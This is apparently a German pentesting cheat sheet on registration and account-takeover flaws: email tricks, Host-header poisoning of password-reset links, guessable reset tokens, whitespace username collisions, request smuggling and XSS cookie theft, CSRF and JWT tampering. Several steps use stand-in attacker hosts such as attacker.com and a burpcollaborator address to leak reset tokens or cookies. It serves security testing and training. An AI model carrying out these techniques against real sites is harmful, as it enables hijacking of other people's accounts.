Registration & Takeover Vulnerabilities
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Versuche, einen bestehenden Benutzernamen zu generieren
Überprüfe verschiedene E-Mails:
Großbuchstaben
+1@
füge einen Punkt in die E-Mail ein
Sonderzeichen im E-Mail-Namen (%00, %09, %20)
Setze schwarze Zeichen nach der E-Mail: test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Überprüfe, ob du herausfinden kannst, wann ein Benutzername bereits in der Anwendung registriert wurde.
Erstelle einen Benutzer und überprüfe die Passwort-Richtlinie (überprüfe, ob du schwache Passwörter verwenden kannst). In diesem Fall kannst du versuchen, Anmeldeinformationen zu bruteforcen.
Überprüfe diese Seite , um zu lernen, wie man Kontoübernahmen versucht oder Informationen über SQL-Injection in Registrierungsformularen extrahiert.
Wenn registriert, versuche, die E-Mail zu ändern und überprüfe, ob diese Änderung korrekt validiert wird oder ob du sie auf beliebige E-Mails ändern kannst.
Überprüfe, ob du wegwerfbare E-Mails verwenden kannst
Langes Passwort (>200) führt zu DoS
Überprüfe die Ratenlimits bei der Kontoerstellung
Verwende username@burp_collab.net und analysiere den Callback
Fordere eine Passwortzurücksetzung an deine E-Mail-Adresse an
Klicke auf den Link zur Passwortzurücksetzung
Ändere das Passwort nicht
Klicke auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
Fange die Anfrage im Burp Suite Proxy ab
Überprüfe, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
Fange die Passwortzurücksetzungsanfrage in Burp Suite ab
Füge die folgenden Header in Burp Suite hinzu oder bearbeite sie: Host: attacker.com
, X-Forwarded-Host: attacker.com
Leite die Anfrage mit dem modifizierten Header weiter
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Suche nach einer Passwortzurücksetzungs-URL basierend auf dem Host-Header wie: https://attacker.com/reset-password.php?token=TOKEN
Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion Passwort ändern gehen.
Starten Sie die Burp Suite und fangen Sie die Anfrage ab.
Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Das Passwort-Reset-Token sollte zufällig generiert und jedes Mal einzigartig sein. Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
Zeitstempel
Benutzer-ID
E-Mail des Benutzers
Vorname und Nachname
Geburtsdatum
Kryptographie
Nur Zahlen
Kleine Token-Sequenz (Zeichen zwischen [A-Z,a-z,0-9])
Token-Wiederverwendung
Ablaufdatum des Tokens
Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
Überprüfen Sie die Serverantwort und suchen Sie nach resetToken
Verwenden Sie dann das Token in einer URL wie https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: "admin "
Fordern Sie einen Passwort-Reset mit Ihrem böswilligen Benutzernamen an.
Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
Die Plattform CTFd war anfällig für diesen Angriff. Siehe: CVE-2020-7245
Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind: *.domain.com
Leaken Sie das aktuelle Sessions-Cookie
Authentifizieren Sie sich als der Benutzer mit dem Cookie
1. Verwenden Sie smuggler, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erstellen Sie eine Anfrage, die POST / HTTP/1.1
mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X:
mit dem Ziel, die Opfer zu burpcollab umzuleiten und ihre Cookies zu stehlen
3. Die endgültige Anfrage könnte wie folgt aussehen
Hackerone-Berichte, die diesen Fehler ausnutzen * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Erstellen Sie ein Payload für das CSRF, z.B.: „HTML-Formular mit automatischer Übermittlung für eine Passwortänderung“
Senden Sie das Payload
JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
Bearbeiten Sie das JWT mit einer anderen Benutzer-ID / E-Mail
Überprüfen Sie die schwache JWT-Signatur
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)